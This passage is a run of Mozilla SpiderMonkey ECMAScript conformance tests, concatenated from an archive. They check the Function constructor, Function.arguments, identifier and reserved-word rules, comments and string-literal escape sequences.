of a function; any preceding arguments sepcify formal parameters. See the text for description of this section. This test examples from the specification. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.2.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Function Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); var MyObject = new Function( "value", "this.value = value; this.valueOf = new Function( 'return this.value' ); this.toString = new Function( 'return String(this.value);' )" ); var myfunc = new Function(); // not going to test toString here since it is implementation dependent. // new TestCase( SECTION, "myfunc.toString()", "function anonymous() { }", myfunc.toString() ); myfunc.toString = Object.prototype.toString; new TestCase( SECTION, "myfunc = new Function(); myfunc.toString = Object.prototype.toString; myfunc.toString()", "[object Function]", myfunc.toString() ); new TestCase( SECTION, "myfunc.length", 0, myfunc.length ); new TestCase( SECTION, "myfunc.prototype.toString()", "[object Object]", myfunc.prototype.toString() ); new TestCase( SECTION, "myfunc.prototype.constructor", myfunc, myfunc.prototype.constructor ); new TestCase( SECTION, "myfunc.arguments", null, myfunc.arguments ); new TestCase( SECTION, "var OBJ = new MyObject(true); OBJ.valueOf()", true, eval("var OBJ = new MyObject(true); OBJ.valueOf()") ); new TestCase( SECTION, "OBJ.toString()", "true", OBJ.toString() ); new TestCase( SECTION, "OBJ.toString = Object.prototype.toString; OBJ.toString()", "[object Object]", eval("OBJ.toString = Object.prototype.toString; OBJ.toString()") ); new TestCase( SECTION, "MyObject.toString = Object.prototype.toString; MyObject.toString()", "[object Function]", eval("MyObject.toString = Object.prototype.toString; MyObject.toString()") ); new TestCase( SECTION, "MyObject.length", 1, MyObject.length ); new TestCase( SECTION, "MyObject.prototype.constructor", MyObject, MyObject.prototype.constructor ); new TestCase( SECTION, "MyObject.arguments", null, MyObject.arguments ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.5.3.js0000664000175000017500000000262012106270663022402 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.5.3.js ECMA Section: Function.arguments Description: The value of the arguments property is normally null if there is no outstanding invocation of the function in progress (that is, the function has been called but has not yet returned). When a non-internal Function object (15.3.2.1) is invoked, its arguments property is "dynamically bound" to a newly created object that contains the arguments on which it was invoked (see 10.1.6 and 10.1.8). Note that the use of this property is discouraged; it is provided principally for compatibility with existing old code. See sections 10.1.6 and 10.1.8 for more extensive tests. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.3.5.3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Function.arguments"; writeHeaderToLog( SECTION + " "+ TITLE); var MYFUNCTION = new Function( "return this.arguments" ); new TestCase( SECTION, "var MYFUNCTION = new Function( 'return this.arguments' ); MYFUNCTION.arguments", null, MYFUNCTION.arguments ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.1.1-2.js0000664000175000017500000001143312106270663022535 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.1.1-2.js ECMA Section: 15.3.1.1 The Function Constructor Called as a Function Function(p1, p2, ..., pn, body ) Description: When the Function function is called with some arguments p1, p2, . . . , pn, body (where n might be 0, that is, there are no "p" arguments, and where body might also not be provided), the following steps are taken: 1. Create and return a new Function object exactly if the function constructor had been called with the same arguments (15.3.2.1). Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.1.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Function Constructor Called as a Function"; writeHeaderToLog( SECTION + " "+ TITLE); var myfunc1 = Function("a","b","c", "return a+b+c" ); var myfunc2 = Function("a, b, c", "return a+b+c" ); var myfunc3 = Function("a,b", "c", "return a+b+c" ); myfunc1.toString = Object.prototype.toString; myfunc2.toString = Object.prototype.toString; myfunc3.toString = Object.prototype.toString; new TestCase( SECTION, "myfunc1 = Function('a','b','c'); myfunc.toString = Object.prototype.toString; myfunc.toString()", "[object Function]", myfunc1.toString() ); new TestCase( SECTION, "myfunc1.length", 3, myfunc1.length ); new TestCase( SECTION, "myfunc1.prototype.toString()", "[object Object]", myfunc1.prototype.toString() ); new TestCase( SECTION, "myfunc1.prototype.constructor", myfunc1, myfunc1.prototype.constructor ); new TestCase( SECTION, "myfunc1.arguments", null, myfunc1.arguments ); new TestCase( SECTION, "myfunc1(1,2,3)", 6, myfunc1(1,2,3) ); new TestCase( SECTION, "var MYPROPS = ''; for ( var p in myfunc1.prototype ) { MYPROPS += p; }; MYPROPS", "", eval("var MYPROPS = ''; for ( var p in myfunc1.prototype ) { MYPROPS += p; }; MYPROPS") ); new TestCase( SECTION, "myfunc2 = Function('a','b','c'); myfunc.toString = Object.prototype.toString; myfunc.toString()", "[object Function]", myfunc2.toString() ); new TestCase( SECTION, "myfunc2.length", 3, myfunc2.length ); new TestCase( SECTION, "myfunc2.prototype.toString()", "[object Object]", myfunc2.prototype.toString() ); new TestCase( SECTION, "myfunc2.prototype.constructor", myfunc2, myfunc2.prototype.constructor ); new TestCase( SECTION, "myfunc2.arguments", null, myfunc2.arguments ); new TestCase( SECTION, "myfunc2( 1000, 200, 30 )", 1230, myfunc2(1000,200,30) ); new TestCase( SECTION, "var MYPROPS = ''; for ( var p in myfunc2.prototype ) { MYPROPS += p; }; MYPROPS", "", eval("var MYPROPS = ''; for ( var p in myfunc2.prototype ) { MYPROPS += p; }; MYPROPS") ); new TestCase( SECTION, "myfunc3 = Function('a','b','c'); myfunc.toString = Object.prototype.toString; myfunc.toString()", "[object Function]", myfunc3.toString() ); new TestCase( SECTION, "myfunc3.length", 3, myfunc3.length ); new TestCase( SECTION, "myfunc3.prototype.toString()", "[object Object]", myfunc3.prototype.toString() ); new TestCase( SECTION, "myfunc3.prototype.valueOf() +''", "[object Object]", myfunc3.prototype.valueOf() +'' ); new TestCase( SECTION, "myfunc3.prototype.constructor", myfunc3, myfunc3.prototype.constructor ); new TestCase( SECTION, "myfunc3.arguments", null, myfunc3.arguments ); new TestCase( SECTION, "myfunc3(-100,100,NaN)", Number.NaN, myfunc3(-100,100,NaN) ); new TestCase( SECTION, "var MYPROPS = ''; for ( var p in myfunc3.prototype ) { MYPROPS += p; }; MYPROPS", "", eval("var MYPROPS = ''; for ( var p in myfunc3.prototype ) { MYPROPS += p; }; MYPROPS") ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.5-2.js0000664000175000017500000000465412106270663022411 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.5-1.js ECMA Section: 15.3.5 Properties of Function Instances new Function(p1, p2, ..., pn, body ) Description: 15.3.5.1 length The value of the length property is usually an integer that indicates the "typical" number of arguments expected by the function. However, the language permits the function to be invoked with some other number of arguments. The behavior of a function when invoked on a number of arguments other than the number specified by its length property depends on the function. 15.3.5.2 prototype The value of the prototype property is used to initialize the internal [[ Prototype]] property of a newly created object before the Function object is invoked as a constructor for that newly created object. 15.3.5.3 arguments The value of the arguments property is normally null if there is no outstanding invocation of the function in progress (that is, the function has been called but has not yet returned). When a non-internal Function object (15.3.2.1) is invoked, its arguments property is "dynamically bound" to a newly created object that contains the arguments on which it was invoked (see 10.1.6 and 10.1.8). Note that the use of this property is discouraged; it is provided principally for compatibility with existing old code. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.5-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Properties of Function Instances"; writeHeaderToLog( SECTION + " "+TITLE); var MyObject = new Function( 'a', 'b', 'c', 'this.a = a; this.b = b; this.c = c; this.value = a+b+c; this.valueOf = new Function( "return this.value" )' ); new TestCase( SECTION, "MyObject.length", 3, MyObject.length ); new TestCase( SECTION, "typeof MyObject.prototype", "object", typeof MyObject.prototype ); new TestCase( SECTION, "typeof MyObject.prototype.constructor", "function", typeof MyObject.prototype.constructor ); new TestCase( SECTION, "MyObject.arguments", null, MyObject.arguments ); test(); mozjs17.0.0/js/src/tests/ecma/FunctionObjects/15.3.2.1-2.js0000664000175000017500000001002012106270663022525 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.3.2.1.js ECMA Section: 15.3.2.1 The Function Constructor new Function(p1, p2, ..., pn, body ) Description: Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.3.2.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Function Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); var myfunc1 = new Function("a","b","c", "return a+b+c" ); var myfunc2 = new Function("a, b, c", "return a+b+c" ); var myfunc3 = new Function("a,b", "c", "return a+b+c" ); myfunc1.toString = Object.prototype.toString; myfunc2.toString = Object.prototype.toString; myfunc3.toString = Object.prototype.toString; new TestCase( SECTION, "myfunc1 = new Function('a','b','c'); myfunc.toString = Object.prototype.toString; myfunc.toString()", "[object Function]", myfunc1.toString() ); new TestCase( SECTION, "myfunc1.length", 3, myfunc1.length ); new TestCase( SECTION, "myfunc1.prototype.toString()", "[object Object]", myfunc1.prototype.toString() ); new TestCase( SECTION, "myfunc1.prototype.constructor", myfunc1, myfunc1.prototype.constructor ); new TestCase( SECTION, "myfunc1.arguments", null, myfunc1.arguments ); new TestCase( SECTION, "myfunc1(1,2,3)", 6, myfunc1(1,2,3) ); new TestCase( SECTION, "var MYPROPS = ''; for ( var p in myfunc1.prototype ) { MYPROPS += p; }; MYPROPS", "", eval("var MYPROPS = ''; for ( var p in myfunc1.prototype ) { MYPROPS += p; }; MYPROPS") ); new TestCase( SECTION, "myfunc2 = new Function('a','b','c'); myfunc.toString = Object.prototype.toString; myfunc.toString()", "[object Function]", myfunc2.toString() ); new TestCase( SECTION, "myfunc2.length", 3, myfunc2.length ); new TestCase( SECTION, "myfunc2.prototype.toString()", "[object Object]", myfunc2.prototype.toString() ); new TestCase( SECTION, "myfunc2.prototype.constructor", myfunc2, myfunc2.prototype.constructor ); new TestCase( SECTION, "myfunc2.arguments", null, myfunc2.arguments ); new TestCase( SECTION, "myfunc2( 1000, 200, 30 )", 1230, myfunc2(1000,200,30) ); new TestCase( SECTION, "var MYPROPS = ''; for ( var p in myfunc2.prototype ) { MYPROPS += p; }; MYPROPS", "", eval("var MYPROPS = ''; for ( var p in myfunc2.prototype ) { MYPROPS += p; }; MYPROPS") ); new TestCase( SECTION, "myfunc3 = new Function('a','b','c'); myfunc.toString = Object.prototype.toString; myfunc.toString()", "[object Function]", myfunc3.toString() ); new TestCase( SECTION, "myfunc3.length", 3, myfunc3.length ); new TestCase( SECTION, "myfunc3.prototype.toString()", "[object Object]", myfunc3.prototype.toString() ); new TestCase( SECTION, "myfunc3.prototype.valueOf() +''", "[object Object]", myfunc3.prototype.valueOf() +'' ); new TestCase( SECTION, "myfunc3.prototype.constructor", myfunc3, myfunc3.prototype.constructor ); new TestCase( SECTION, "myfunc3.arguments", null, myfunc3.arguments ); new TestCase( SECTION, "myfunc3(-100,100,NaN)", Number.NaN, myfunc3(-100,100,NaN) ); new TestCase( SECTION, "var MYPROPS = ''; for ( var p in myfunc3.prototype ) { MYPROPS += p; }; MYPROPS", "", eval("var MYPROPS = ''; for ( var p in myfunc3.prototype ) { MYPROPS += p; }; MYPROPS") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/0000775000175000017500000000000012106270663021662 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.5-8-n.js0000664000175000017500000000166612106270663023142 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.5-8-n.js ECMA Section: 7.5 Identifiers Description: Identifiers are of unlimited length - can contain letters, a decimal digit, _, or $ - the first character cannot be a decimal digit - identifiers are case sensitive Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.5-8-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Identifiers"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var @0abc = 5; @0abc"; EXPECTED = "error"; new TestCase( SECTION, "var @0abc = 5; @0abc", "error", eval("var @0abc = 5; @0abc") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-13-n.js0000664000175000017500000000215012106270663023343 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-13-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-13-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var const = true"; EXPECTED = "error"; new TestCase( SECTION, "var const = true", "error", eval("var const = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-3.js0000664000175000017500000000142612106270663022672 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-3.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase = new TestCase( SECTION, "source text directly following a single-line comment", "pass", "fail"); // a comment string testcase.actual = "pass"; test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.3-9.js0000664000175000017500000000135612106270663022702 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.3-9.js ECMA Section: 7.3 Comments Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.3-9"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Comments"; writeHeaderToLog( SECTION + " "+ TITLE); var testcase = new TestCase( SECTION, "code following multiline comment", "pass", "fail"); /*/*/testcase.actual="pass"; test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.5-4-n.js0000664000175000017500000000162212106270663023126 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.5-4-n.js ECMA Section: 7.5 Identifiers Description: Identifiers are of unlimited length - can contain letters, a decimal digit, _, or $ - the first character cannot be a decimal digit - identifiers are case sensitive Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.5-4-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Identifiers"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var 2abc"; EXPECTED = "error"; new TestCase( SECTION, "var 2abc", "error", eval("var 2abc") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-8-n.js0000664000175000017500000000215112106270663023270 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-8-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-9-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var switch = true"; EXPECTED = "error"; new TestCase( SECTION, "var switch = true", "error", eval("var switch = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.3-7-n.js0000664000175000017500000000301112106270663023263 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.3-7-n.js ECMA Section: 7.4.3 Description: The following words are used as keywords in proposed extensions and are therefore reserved to allow for the possibility of future adoption of those extensions. FutureReservedWord :: one of case debugger export super catch default extends switch class do finally throw const enum import try Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.3-7-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Future Reserved Words"; writeHeaderToLog( SECTION + " "+ TITLE); var actual = 'no error'; var prefValue; print("This test requires option javascript.options.strict enabled"); if (!options().match(/strict/)) { options('strict'); } if (!options().match(/werror/)) { options('werror'); } try { eval("var extends = true"); } catch(e) { actual = 'error'; } DESCRIPTION = "var extends = true"; EXPECTED = "error"; // force exception since this is a negative test if (actual == 'error') { throw actual; } new TestCase( SECTION, "var extends = true", "error", actual); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.4.2-9-n.js0000664000175000017500000000236512106270663023277 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.4.2-9-n.js ECMA Section: 7.4.2 Description: The following tokens are ECMAScript keywords and may not be used as identifiers in ECMAScript programs. Syntax Keyword :: one of break for new var continue function return void delete if this while else in typeof with This test verifies that the keyword cannot be used as an identifier. Functioinal tests of the keyword may be found in the section corresponding to the function of the keyword. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "7.4.1-9-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Keywords"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var delete = true"; EXPECTED = "error"; new TestCase( SECTION, "var delete = true", "error", eval("var delete = true") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.5-9-n.js0000664000175000017500000000167112106270663023137 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.5-9-n.js ECMA Section: 7.5 Identifiers Description: Identifiers are of unlimited length - can contain letters, a decimal digit, _, or $ - the first character cannot be a decimal digit - identifiers are case sensitive Author: christine@netscape.com Date: 11 september 1997 */ var SECTION = "7.5-9-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Identifiers"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var 123=\"hi\""; EXPECTED = "error"; new TestCase( SECTION, "var 123=\"hi\"", "error", eval("var 123 = \"hi\";array[item] = 123;") ); test(); mozjs17.0.0/js/src/tests/ecma/LexicalConventions/shell.js0000664000175000017500000000000012106270663023315 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/LexicalConventions/7.7.4.js0000664000175000017500000002746512106270663022713 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 7.7.4.js ECMA Section: 7.7.4 String Literals Description: A string literal is zero or more characters enclosed in single or double quotes. Each character may be represented by an escape sequence. Author: christine@netscape.com Date: 16 september 1997 */ var SECTION = "7.7.4"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String Literals"; writeHeaderToLog( SECTION + " "+ TITLE); // StringLiteral:: "" and '' new TestCase( SECTION, "\"\"", "", "" ); new TestCase( SECTION, "\'\'", "", '' ); // DoubleStringCharacters:: DoubleStringCharacter :: EscapeSequence :: CharacterEscapeSequence new TestCase( SECTION, "\\\"", String.fromCharCode(0x0022), "\"" ); new TestCase( SECTION, "\\\'", String.fromCharCode(0x0027), "\'" ); new TestCase( SECTION, "\\", String.fromCharCode(0x005C), "\\" ); new TestCase( SECTION, "\\b", String.fromCharCode(0x0008), "\b" ); new TestCase( SECTION, "\\f", String.fromCharCode(0x000C), "\f" ); new TestCase( SECTION, "\\n", String.fromCharCode(0x000A), "\n" ); new TestCase( SECTION, "\\r", String.fromCharCode(0x000D), "\r" ); new TestCase( SECTION, "\\t", String.fromCharCode(0x0009), "\t" ); new TestCase( SECTION, "\\v", String.fromCharCode(0x000B), "\v" ); // DoubleStringCharacters:DoubleStringCharacter::EscapeSequence::OctalEscapeSequence new TestCase( SECTION, "\\00", String.fromCharCode(0x0000), "\00" ); new TestCase( SECTION, "\\01", String.fromCharCode(0x0001), "\01" ); new TestCase( SECTION, "\\02", String.fromCharCode(0x0002), "\02" ); new TestCase( SECTION, "\\03", String.fromCharCode(0x0003), "\03" ); new TestCase( SECTION, "\\04", String.fromCharCode(0x0004), "\04" ); new TestCase( SECTION, "\\05", String.fromCharCode(0x0005), "\05" ); new TestCase( SECTION, "\\06", String.fromCharCode(0x0006), "\06" ); new TestCase( SECTION, "\\07", String.fromCharCode(0x0007), "\07" ); new TestCase( SECTION, "\\010", String.fromCharCode(0x0008), "\010" ); new TestCase( SECTION, "\\011", String.fromCharCode(0x0009), "\011" ); new TestCase( SECTION, "\\012", String.fromCharCode(0x000A), "\012" ); new TestCase( SECTION, "\\013", String.fromCharCode(0x000B), "\013" ); new TestCase( SECTION, "\\014", String.fromCharCode(0x000C), "\014" ); new TestCase( SECTION, "\\015", String.fromCharCode(0x000D), "\015" ); new TestCase( SECTION, "\\016", String.fromCharCode(0x000E), "\016" ); new TestCase( SECTION, "\\017", String.fromCharCode(0x000F), "\017" ); new TestCase( SECTION, "\\020", String.fromCharCode(0x0010), "\020" ); new TestCase( SECTION, "\\042", String.fromCharCode(0x0022), "\042" ); new TestCase( SECTION, "\\0", String.fromCharCode(0x0000), "\0" ); new TestCase( SECTION, "\\1", String.fromCharCode(0x0001), "\1" ); new TestCase( SECTION, "\\2", String.fromCharCode(0x0002), "\2" ); new TestCase( SECTION, "\\3", String.fromCharCode(0x0003), "\3" ); new TestCase( SECTION, "\\4", String.fromCharCode(0x0004), "\4" ); new TestCase( SECTION, "\\5", String.fromCharCode(0x0005), "\5" ); new TestCase( SECTION, "\\6", String.fromCharCode(0x0006), "\6" ); new TestCase( SECTION, "\\7", String.fromCharCode(0x0007), "\7" ); new TestCase( SECTION, "\\10", String.fromCharCode(0x0008), "\10" ); new TestCase( SECTION, "\\11", String.fromCharCode(0x0009), "\11" ); new TestCase( SECTION, "\\12", String.fromCharCode(0x000A), "\12" ); new TestCase( SECTION, "\\13", String.fromCharCode(0x000B), "\13" ); new TestCase( SECTION, "\\14", String.fromCharCode(0x000C), "\14" ); new TestCase( SECTION, "\\15", String.fromCharCode(0x000D), "\15" ); new TestCase( SECTION, "\\16", String.fromCharCode(0x000E), "\16" ); new TestCase( SECTION, "\\17", String.fromCharCode(0x000F), "\17" ); new TestCase( SECTION, "\\20", String.fromCharCode(0x0010), "\20" ); new TestCase( SECTION, "\\42", String.fromCharCode(0x0022), "\42" ); new TestCase( SECTION, "\\000", String.fromCharCode(0), "\000" ); new TestCase( SECTION, "\\111", String.fromCharCode(73), "\111" ); new TestCase( SECTION, "\\222", String.fromCharCode(146), "\222" ); new TestCase( SECTION, "\\333", String.fromCharCode(219), "\333" ); // following line commented out as it causes a compile time error // new TestCase( SECTION, "\\444", "444", "\444" ); // DoubleStringCharacters:DoubleStringCharacter::EscapeSequence::HexEscapeSequence new TestCase( SECTION, "\\xF0", String.fromCharCode(240), "\xF0" ); new TestCase( SECTION, "\\xE1", String.fromCharCode(225), "\xE1" ); new TestCase( SECTION, "\\xD2", String.fromCharCode(210), "\xD2" ); new TestCase( SECTION, "\\xC3", String.fromCharCode(195), "\xC3" ); new TestCase( SECTION, "\\xB4", String.fromCharCode(180), "\xB4" ); new TestCase( SECTION, "\\xA5", String.fromCharCode(165), "\xA5" ); new TestCase( SECTION, "\\x96", String.fromCharCode(150), "\x96" ); new TestCase( SECTION, "\\x87", String.fromCharCode(135), "\x87" ); new TestCase( SECTION, "\\x78", String.fromCharCode(120), "\x78" ); new TestCase( SECTION, "\\x69", String.fromCharCode(105), "\x69" ); new TestCase( SECTION, "\\x5A", String.fromCharCode(90), "\x5A" ); new TestCase( SECTION, "\\x4B", String.fromCharCode(75), "\x4B" ); new TestCase( SECTION, "\\x3C", String.fromCharCode(60), "\x3C" ); new TestCase( SECTION, "\\x2D", String.fromCharCode(45), "\x2D" ); new TestCase( SECTION, "\\x1E", String.fromCharCode(30), "\x1E" ); new TestCase( SECTION, "\\x0F", String.fromCharCode(15), "\x0F" ); // string literals only take up to two hext digits. therefore, the third character in this string // should be interpreted as a StringCharacter and not part of the HextEscapeSequence new TestCase( SECTION, "\\xF0F", String.fromCharCode(240)+"F", "\xF0F" ); new TestCase( SECTION, "\\xE1E", String.fromCharCode(225)+"E", "\xE1E" ); new TestCase( SECTION, "\\xD2D", String.fromCharCode(210)+"D", "\xD2D" ); new TestCase( SECTION, "\\xC3C", String.fromCharCode(195)+"C", "\xC3C" ); new TestCase( SECTION, "\\xB4B", String.fromCharCode(180)+"B", "\xB4B" ); new TestCase( SECTION, "\\xA5A", String.fromCharCode(165)+"A", "\xA5A" ); new TestCase( SECTION, "\\x969", String.fromCharCode(150)+"9", "\x969" ); new TestCase( SECTION, "\\x878", String.fromCharCode(135)+"8", "\x878" ); new TestCase( SECTION, "\\x787", String.fromCharCode(120)+"7", "\x787" ); new TestCase( SECTION, "\\x696", String.fromCharCode(105)+"6", "\x696" ); new TestCase( SECTION, "\\x5A5", String.fromCharCode(90)+"5", "\x5A5" ); new TestCase( SECTION, "\\x4B4", String.fromCharCode(75)+"4", "\x4B4" ); new TestCase( SECTION, "\\x3C3", String.fromCharCode(60)+"3", "\x3C3" ); new TestCase( SECTION, "\\x2D2", String.fromCharCode(45)+"2", "\x2D2" ); new TestCase( SECTION, "\\x1E1", String.fromCharCode(30)+"1", "\x1E1" ); new TestCase( SECTION, "\\x0F0", String.fromCharCode(15)+"0", "\x0F0" ); // DoubleStringCharacter::EscapeSequence::CharacterEscapeSequence::\ NonEscapeCharacter new TestCase( SECTION, "\\a", "a", "\a" ); new TestCase( SECTION, "\\c", "c", "\c" ); new TestCase( SECTION, "\\d", "d", "\d" ); new TestCase( SECTION, "\\e", "e", "\e" ); new TestCase( SECTION, "\\g", "g", "\g" ); new TestCase( SECTION, "\\h", "h", "\h" ); new TestCase( SECTION, "\\i", "i", "\i" ); new TestCase( SECTION, "\\j", "j", "\j" ); new TestCase( SECTION, "\\k", "k", "\k" ); new TestCase( SECTION, "\\l", "l", "\l" ); new TestCase( SECTION, "\\m", "m", "\m" ); new TestCase( SECTION, "\\o", "o", "\o" ); new TestCase( SECTION, "\\p", "p", "\p" ); new TestCase( SECTION, "\\q", "q", "\q" ); new TestCase( SECTION, "\\s", "s", "\s" ); new TestCase( SECTION, "\\w", "w", "\w" ); new TestCase( SECTION, "\\y", "y", "\y" ); new TestCase( SECTION, "\\z", "z", "\z" ); new TestCase( SECTION, "\\9", "9", "\9" ); new TestCase( SECTION, "\\A", "A", "\A" ); new TestCase( SECTION, "\\B", "B", "\B" ); new TestCase( SECTION, "\\C", "C", "\C" ); new TestCase( SECTION, "\\D", "D", "\D" ); new TestCase( SECTION, "\\E", "E", "\E" ); new TestCase( SECTION, "\\F", "F", "\F" ); new TestCase( SECTION, "\\G", "G", "\G" ); new TestCase( SECTION, "\\H", "H", "\H" ); new TestCase( SECTION, "\\I", "I", "\I" ); new TestCase( SECTION, "\\J", "J", "\J" ); new TestCase( SECTION, "\\K", "K", "\K" ); new TestCase( SECTION, "\\L", "L", "\L" ); new TestCase( SECTION, "\\M", "M", "\M" ); new TestCase( SECTION, "\\N", "N", "\N" ); new TestCase( SECTION, "\\O", "O", "\O" ); new TestCase( SECTION, "\\P", "P", "\P" ); new TestCase( SECTION, "\\Q", "Q", "\Q" ); new TestCase( SECTION, "\\R", "R", "\R" ); 